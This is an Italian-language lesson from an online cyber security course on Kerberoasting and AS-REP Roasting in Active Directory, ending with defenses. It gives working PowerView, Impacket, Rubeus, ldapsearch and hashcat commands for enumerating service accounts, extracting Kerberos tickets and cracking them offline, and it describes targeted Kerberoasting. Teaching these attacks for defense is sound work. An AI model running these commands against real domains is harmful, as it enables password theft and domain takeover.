0Pricing
Cyber Security Academy · Lezione

Kerberoasting e AS-REP Roasting

Richiedete ticket di servizio Kerberos e violateli offline con Hashcat.

Kerberoasting e AS-REP Roasting è una lezione Cyber Security Academy gratuita su CoddyKit. Questa è la lezione 3 di 4. Puoi leggere la lezione completa qui gratuitamente — poi esercitati direttamente nel browser con un editor di codice integrato e un tutor IA disponibile 24/7. Fa parte del percorso di apprendimento Cyber Security Academy, e i tuoi progressi si sincronizzano tra il web e l'app CoddyKit. Il corso Cyber Security Academy include 4 lezioni in totale.

Crittografia dei ticket Kerberos

I ticket di servizio sono crittografati con l'hash della password dell'account di servizio. Qualsiasi utente del dominio può richiedere un ticket di servizio per qualsiasi SPN. Se l'account di servizio ha una password debole, il ticket può essere craccato offline.

Che cos'è il Kerberoasting?

Il Kerberoasting richiede ticket di servizio per gli account associati a Service Principal Names (SPN), estrae il ticket crittografato e lo cracca offline con Hashcat. Non sono necessari privilegi elevati: può eseguirlo qualsiasi utente del dominio.

# Steps:
# 1. Find accounts with SPNs
# 2. Request their service tickets
# 3. Extract ticket hashes
# 4. Crack with Hashcat

Individuazione degli SPN

Enumeri tutti gli account di servizio con SPN usando PowerView, Impacket o gli strumenti AD nativi. Gli SPN collegano gli account di servizio ai relativi servizi.

# PowerView (Windows)
Get-DomainUser -SPN
Get-NetUser -SPN | select name,serviceprincipalname

# Impacket (Linux)
GetUserSPNs.py CORP/user:pass@dc.corp.com

# Native LDAP query
ldapsearch -H ldap://dc -b "DC=corp,DC=com" \
  "(servicePrincipalName=*)" cn servicePrincipalName

Richiesta ed estrazione dei ticket

Rubeus (Windows) e GetUserSPNs di Impacket (Linux) richiedono entrambi i ticket e li restituiscono in un formato adatto al cracking.

# Rubeus (Windows)
Rubeus.exe kerberoast /format:hashcat /output:hashes.txt

# Impacket (Linux)
GetUserSPNs.py CORP/user:pass@dc.corp.com \
  -request -outputfile hashes.txt

Cracking con Hashcat

Gli hash Kerberoast utilizzano la modalità 13100 (Kerberos 5 TGS-REP). Utilizzi una wordlist robusta con regole per ottenere la massima efficacia.

# Crack TGS-REP hashes
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# With rules for better coverage
hashcat -m 13100 hashes.txt rockyou.txt -r best64.rule

# AES tickets: mode 19700 (AES128) or 19800 (AES256)

Che cos'è l'AS-REP Roasting?

L'AS-REP Roasting prende di mira gli account per i quali è abilitata l'opzione Non richiedono la preautenticazione Kerberos. L'AS restituisce un TGT crittografato con l'hash dell'utente: può essere richiesto senza conoscere la password e craccato offline.

Individuazione degli account senza preautenticazione

Gli account senza preautenticazione sono una configurazione errata, spesso lasciata dalle applicazioni legacy. Li enumeri con PowerView o GetNPUsers.

# PowerView
Get-DomainUser -PreauthNotRequired

# Impacket GetNPUsers (no password needed!)
GetNPUsers.py CORP/ -usersfile users.txt \
  -dc-ip dc.corp.com -format hashcat -outputfile asrep.txt

# Rubeus
Rubeus.exe asreproast /format:hashcat /output:asrep.txt

Cracking degli hash AS-REP

Gli hash AS-REP utilizzano la modalità 18200 di Hashcat. Il processo di cracking è uguale a quello del Kerberoasting: un attacco a dizionario offline contro la risposta AS crittografata.

# Crack AS-REP hashes
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# With rules:
hashcat -m 18200 asrep.txt rockyou.txt -r best64.rule

Valutazione dell'impatto

Le password degli account di servizio craccate hanno spesso privilegi elevati: gli account di servizio che eseguono database, software di backup o Exchange possono essere amministratori di dominio. Gli account AS-REP sono spesso trascurati e protetti in modo insufficiente.

Kerberoasting mirato

Se dispone dell'accesso in scrittura a un oggetto, può aggiungere temporaneamente un SPN a un account di alto valore, eseguire il Kerberoasting, craccare l'hash e quindi rimuovere l'SPN, prendendo di mira account specifici su richiesta.

Difese

Per difendersi dal Kerberoasting, utilizzi password casuali lunghe (25+ caratteri) per gli account di servizio o, meglio ancora, utilizzi Group Managed Service Accounts (gMSA) con password di 120 caratteri a rotazione automatica. Per l'AS-REP Roasting, abiliti la preautenticazione su tutti gli account.

Verifica rapida

Quale attributo dell'account è necessario per eseguire l'AS-REP Roasting?

Riepilogo: Kerberoasting e AS-REP Roasting

Entrambi gli attacchi sfruttano le debolezze della crittografia dei ticket Kerberos per craccare le password offline senza attivare i blocchi degli account. Il Kerberoasting prende di mira gli account con SPN e può essere eseguito da qualsiasi utente del dominio; l'AS-REP Roasting prende di mira gli account senza preautenticazione e non richiede credenziali. Si difenda utilizzando gMSA per gli account di servizio e imponendo la preautenticazione su tutti gli utenti.

Domande Frequenti

La lezione «Kerberoasting e AS-REP Roasting» è gratuita?

Sì — il testo completo di «Kerberoasting e AS-REP Roasting» è gratuito qui sul web. Per esercitarvi in modo interattivo (un editor di codice integrato e un tutor IA 24/7) e sbloccare il resto del corso Cyber Security Academy, passa a CoddyKit PRO. Il corso Cyber Security Academy include 4 lezioni in totale.

Cosa imparerò in «Kerberoasting e AS-REP Roasting»?

Richiedete ticket di servizio Kerberos e violateli offline con Hashcat. Eserciti Cyber Security Academy con codice pratico che esegui direttamente nel browser, e un tutor IA 24/7 risponde alle tue domande mentre lavori sulla lezione.

Ho bisogno di esperienza per iniziare Cyber Security Academy?

Non è richiesta alcuna esperienza precedente. Cyber Security Academy su CoddyKit è strutturato per principianti e studenti avanzati, quindi puoi iniziare da qui o dall'inizio e procedere al tuo ritmo. Questa è la lezione 3 di 4.

Quanto tempo richiede la lezione «Kerberoasting e AS-REP Roasting»?

La maggior parte delle lezioni CoddyKit richiede circa 5–10 minuti. Ogni lezione è breve e interattiva, quindi fai progressi costanti e riprendi esattamente da dove hai lasciato su web e app.

Posso scrivere ed eseguire codice in questa lezione Cyber Security Academy?

Sì. Ogni lezione Cyber Security Academy include un editor di codice integrato, quindi scrivi ed esegui codice reale direttamente nel tuo browser e ricevi feedback istantaneo dall'IA — nessuna configurazione locale necessaria.

Tutte le lezioni di questo corso

  1. Autenticazione Windows: NTLM e Kerberos
  2. Attacchi Pass-the-Hash e Pass-the-Ticket
  3. Kerberoasting e AS-REP Roasting
  4. Hardening di Active Directory
← Torna a Cyber Security Academy